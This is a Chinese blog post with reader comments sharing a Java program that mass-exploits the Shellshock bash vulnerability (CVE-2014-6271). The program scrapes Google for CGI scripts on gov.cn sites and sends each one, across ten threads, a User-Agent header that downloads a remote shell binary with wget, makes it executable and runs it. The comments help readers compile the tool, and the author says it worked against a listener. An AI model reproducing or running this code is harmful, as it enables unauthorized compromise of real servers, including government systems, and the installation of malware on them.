CVE-2014-6271 google 批量

yzmm
970 阅读
import java.io.IOException;
import java.net.URLDecoder;
import java.util.Queue;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import org.jsoup.Connection;
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.jsoup.nodes.Element;
import org.jsoup.select.Elements;
public class Test extends Thread{
	Queue<String> strQeueu = new LinkedBlockingQueue<String>();
	public Test(Queue<String> strQeueu){
		this.strQeueu = strQeueu;
	}
	public static String getResponse(String url) throws IOException{
    	try {
    		System.out.println("请求:"+url);
    		Connection.Response response = Jsoup.connect(url)
                    .userAgent("Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0")
                    .referrer("http://www.google.com.hk/")
                    .userAgent("() { :; }; /usr/bin/wget xxx.xxx.xxx.xxx/shell1 -O /tmp/shell1 | /bin/chmod 777 /tmp/shell1 | /tmp/shell1")
                    .ignoreHttpErrors(true)
                    .timeout(3000)
                    .execute();
    		return response.body();
    	} catch (IOException e) {
    		throw e;
    	}
    }
	public void run(){
		while(true){
			String str = strQeueu.poll();
			if(str == null){
				return ;
			}
			try {
            	getResponse(str);
			} catch (Exception e) {
				System.err.println(e);
			}
		}
	}
	public static void main(String[] args) throws IOException {
        Document doc = Jsoup.connect("https://www.google.ws/search?q=filetype:cgi+inurl:cgi-bin+site:gov.cn&num=100&newwindow=1&biw=1440&bih=710&ei=qpojVIrRIJPX8gWU_4GwDg&start=300&sa=N").userAgent("Googlebot/2.1 (+http://www.googlebot.com/bot.html)").timeout(5000).get();
        Elements element = doc.getElementsByTag("h3");
        Queue<String> ls = new LinkedBlockingQueue<String>();
        for (Element e : element) {
            Matcher m= Pattern.compile("/url\\?q=(.*)&sa").matcher(e.getElementsByTag("a").get(0).attr("href"));
            if(m.find()){
                String url = URLDecoder.decode(m.group(1),"UTF-8");
                if(url.contains("cgi")){
                	ls.offer(url);
                }
            }
        }
        ThreadGroup tg = new ThreadGroup("cgi");
        int threadCount = ls.size() > 10 ? 10 : ls.size();
        while (threadCount > 0) {
            for (int i = 0; i < threadCount; i++) {
                threadCount--;
                new Thread(tg, new Test(ls)).start();
            }
            while (true) {
                if (tg.activeCount() == 0) {
                    break;
                }
            }
        }
    }
}

评论 (17)

撒旦
jsoup的jar包咋安装啊??
阿斯达
菜鸟路过!表示这东西不知道咋用?是把上面的内容保存为test.java,然后下载Java运行库?求大神教
笑傲江湖哇哈哈
加下我Q朋友,3087785345 <p>想找你写工具. 详情加Q细聊.</p>
yzmm
我写的东西能发的都免费,所以还是算了吧。
乞丐
你确定试过可以吗?? payload那, wget xxxxxxxxx/shell1 -O /tmp/shell1 | /bin/chmod 777 这里为什么是管道呢??? 应该是&amp;&amp; 吧。。。。
yzmm
或许不会错,我给朋友弹的。msf能收到请求呢。
topplers
装了jsoup,还是出错: <p>bashell.java:15: 错误: 类Test是公共的, 应在名为 Test.java 的文件中声明</p> <p>public class Test extends Thread{</p> <p> ^</p> <p>1 个错误</p>
yzmm
文件名必须是Test.java,否则会报这个错误。
马斯特
说好的PHP呢……
mu
园长用的什么高亮插件啊
yzmm
WP SyntaxHighlighter
no
Queue strQeueu = new LinkedBlockingQueue(); <p> ^</p> <p>d:\bash.java:17: 错误: 非法的表达式开始</p> <p> Queue strQeueu = new LinkedBlockingQueue();</p> <p> ^</p> <p>d:\bash.java:17: 错误: 非法的类型开始</p> <p> Queue strQeueu = new LinkedBlockingQueue();</p> <p> ^</p> <p>d:\bash.java:17: 错误: 需要</p> <p> Queue strQeueu = new LinkedBlockingQueue();</p> <p> ^</p> <p>d:\bash.java:17: 错误: 需要';'</p> <p> Queue strQeueu = new LinkedBlockingQueue();</p>
yzmm
需要一个jsoup的jar包
Black_list
园长大大 谷歌现在要跳板才能打开呢 能不能把 地址 换成https://www.sssis.com/ 这个 也是谷歌 做个这个版本呢? <p>麻烦园长大大了</p>
橘子
这广告打的。 <p>要不你就单纯做个反代</p> <p>自己还加广告算什么,</p>
jusker
少年。。。好好学习编程吧
ccccc
这站是你的? 你是想做广告吗?

发表评论